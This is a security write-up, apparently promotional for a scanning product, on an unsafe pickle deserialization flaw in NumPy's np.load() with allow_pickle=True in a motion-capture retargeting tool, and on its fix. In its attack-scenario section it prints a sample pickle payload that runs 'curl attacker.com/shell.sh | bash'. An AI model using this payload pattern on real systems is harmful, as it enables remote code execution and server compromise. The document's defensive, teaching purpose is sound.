How Unsafe Pickle Deserialization Happens in NumPy's np.load() and How to Fix It
Introduction
In the tools/ardy-engine/retarget.py file—a component of the ardy-engine that converts motion capture data from .npz files into structured dictionaries—a high-severity vulnerability was lurking at line 55. The convert() function loaded NumPy archive files with allow_pickle=True, opening the door to arbitrary code execution if a malicious .npz file were ever processed.
Here's the problematic line:
data = np.load(npz_path, allow_pickle=True)
This single parameter choice transforms what should be a safe data loading operation into a potential remote code execution (RCE) vector. For any developer working with NumPy file I/O—especially in ML pipelines, animation tools, or data processing engines—this pattern is critically dangerous.
The Vulnerability Explained
What Makes This Dangerous
NumPy's .npz format is essentially a ZIP archive containing .npy files (raw array data). However, when allow_pickle=True is set, NumPy will also deserialize Python objects stored in the archive using Python's pickle module. Pickle is inherently unsafe for untrusted data because it can execute arbitrary Python code during deserialization.
The vulnerable code in retarget.py:
def convert(npz_path: str, fps_div: int = 1) -> dict:
data = np.load(npz_path, allow_pickle=True)
return spec_from_arrays(
data["global_rot_mats"],
data["root_positions"],
The npz_path parameter represents a file path that could originate from user input, uploaded files, or external data sources. The function expects arrays like global_rot_mats and root_positions—legitimate motion capture data—but with allow_pickle=True, the file could contain anything.
A Concrete Attack Scenario
An attacker targeting the ardy-engine retargeting pipeline could craft a malicious .npz file like this:
import numpy as np
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
# This executes when the object is unpickled
return (os.system, ('curl attacker.com/shell.sh | bash',))
# Create a fake .npz that contains a pickled object
# instead of legitimate rotation matrices
malicious_data = {'global_rot_mats': MaliciousPayload()}
When retarget.py's convert() function loads this file, the __reduce__ method fires during deserialization, executing the attacker's shell command. The attacker gains code execution with the same privileges as the process running the retargeting engine.
Since the PR description notes this is a library that affects downstream consumers, any application using the ardy-engine's convert() function inherits this vulnerability. A user uploading a motion capture file to a web service backed by this engine could achieve full server compromise.
Why allow_pickle=True Existed
Historically, NumPy defaulted to allowing pickle in np.load(). Many codebases set it explicitly to suppress deprecation warnings that appeared when NumPy changed the default to False in version 1.16.3. Developers often added allow_pickle=True as a quick fix without considering the security implications—especially when the data format didn't actually require pickle.
In this case, the arrays global_rot_mats, root_positions, and other motion data are standard NumPy arrays that don't need pickle serialization at all.
The Fix
The fix is elegantly simple—a single parameter change at line 55:
Before:
def convert(npz_path: str, fps_div: int = 1) -> dict:
data = np.load(npz_path, allow_pickle=True)
return spec_from_arrays(
data["global_rot_mats"],
data["root_positions"],
After:
def convert(npz_path: str, fps_div: int = 1) -> dict:
data = np.load(npz_path, allow_pickle=False)
return spec_from_arrays(
data["global_rot_mats"],
data["root_positions"],
Why This Works
Setting allow_pickle=False instructs NumPy to:
- Reject any pickled objects in the
.npzfile, raising aValueErrorinstead of deserializing them - Only load raw NumPy arrays stored in the standard
.npybinary format - Completely eliminate the deserialization attack surface for this code path
Since the convert() function only accesses standard array keys (global_rot_mats, root_positions), these should be stored as regular NumPy arrays in any legitimate .npz file. The fix doesn't break functionality—it enforces that the data is what it claims to be.
The build passes and scanner re-scan confirms the vulnerability is resolved, validating that the motion capture data files used by this engine don't actually require pickle.
Prevention & Best Practices
1. Default to allow_pickle=False
Always use allow_pickle=False unless you have a specific, documented reason to deserialize pickle objects—and even then, consider alternatives:
# Safe — only loads NumPy arrays
data = np.load(filepath, allow_pickle=False)
# Unsafe — allows arbitrary code execution
data = np.load(filepath, allow_pickle=True)
2. Use Safer Serialization Formats
For ML and scientific computing, consider:
- SafeTensors — designed specifically for safe tensor serialization
- HDF5 — structured scientific data format without code execution risk
- JSON/MessagePack — for metadata and configuration
- NumPy's native .npy format — safe when pickle is disabled
3. Audit Pickle Files with Fickling
If you must work with pickle files, use fickling from Trail of Bits to scan for malicious payloads:
import fickling
result = fickling.is_likely_safe("model.pkl")
4. Input Validation
Validate file sources before loading:
- Verify file checksums against known-good values
- Restrict file upload paths and validate MIME types
- Run file processing in sandboxed environments with minimal privileges
5. Static Analysis Integration
Integrate Semgrep with the Trail of Bits Python ruleset into your CI/CD pipeline to catch these patterns automatically:
# .semgrep.yml
rules:
- id: trailofbits.python.pickles-in-numpy.pickles-in-numpy
Key Takeaways
allow_pickle=Trueinnp.load()is equivalent to runningeval()on untrusted input — theconvert()function inretarget.pywas one malicious.npzfile away from full system compromise- Motion capture data (rotation matrices, positions) never needs pickle — the arrays in
global_rot_matsandroot_positionsare standard NumPy arrays that load perfectly withallow_pickle=False - Library vulnerabilities cascade to all consumers — every downstream application using ardy-engine's
convert(npz_path)function inherited this RCE vector - One-character fixes can eliminate critical vulnerabilities — changing
TruetoFalsecompletely removed the attack surface without any functionality loss - Static analysis catches what code review misses — the
allow_pickle=Truepattern looks innocuous but the Semgrep Trail of Bits ruleset correctly identified it as high severity
How Orbis AppSec Detected This
- Source: The
npz_pathparameter passed to theconvert()function intools/ardy-engine/retarget.py, representing a file path that can be influenced by external input or user-uploaded data - Sink:
np.load(npz_path, allow_pickle=True)at line 55 oftools/ardy-engine/retarget.py - Missing control: No restriction on pickle deserialization — the
allow_pickle=Trueflag permitted arbitrary Python object deserialization from the loaded file - CWE: CWE-502 — Deserialization of Untrusted Data
- Fix: Changed
allow_pickle=Truetoallow_pickle=Falsein thenp.load()call, restricting loading to safe NumPy array data only
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The pickle deserialization vulnerability in retarget.py is a textbook example of how a seemingly harmless parameter can create a critical security hole. The allow_pickle=True flag was likely added without malicious intent—perhaps to suppress a warning or ensure compatibility—but it transformed a data loading function into an arbitrary code execution gateway.
The fix demonstrates that security improvements don't always require architectural changes. By setting allow_pickle=False, the ardy-engine's motion retargeting pipeline now safely processes .npz files without any risk of code execution, while maintaining full compatibility with legitimate motion capture data.
If you work with NumPy file I/O, audit your codebase for allow_pickle=True today. Every instance is a potential RCE waiting to happen.